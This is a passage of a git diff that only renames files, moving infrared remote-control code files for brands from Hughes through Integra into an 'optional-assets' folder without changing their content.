b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/96,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/96,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/VCR/96,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/97,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hughes/VCR/97,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hughes/VCR/97,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,17.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,17.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,17.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,23.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,23.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,23.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/Satellite/0,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Satellite/0,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/14,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/161,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/162,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/164,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Plasma/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Plasma/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Plasma/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Projector/135,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Projector/135,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Projector/135,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/123,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/123,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/123,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/131,85.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/131,85.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/131,85.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/135,78.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/135,78.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/135,78.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/2,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/2,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/2,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/78,135.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/78,135.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/78,135.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/80,79.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/InFocus/Video Projector/80,79.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/InFocus/Video Projector/80,79.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Insignia/DVD Player/135,34.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Insignia/DVD Player/135,34.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/DVD Player/135,34.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Insignia/TV/134,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Insignia/TV/134,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/TV/134,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Amplifier/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Amplifier/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Amplifier/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/CD Player/210,44.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/CD Player/210,44.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/CD Player/210,44.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,31.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,31.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,31.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,43.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/210,43.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/210,43.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/69,181.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/DVD Player/69,181.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/DVD Player/69,181.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,3.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,3.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,3.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,4.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,4.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,4.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,9.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Digital Audio/210,9.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Digital Audio/210,9.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/HD DVD/69,181.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/HD DVD/69,181.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/HD DVD/69,181.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Media PC/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Media PC/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Media PC/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir rename to 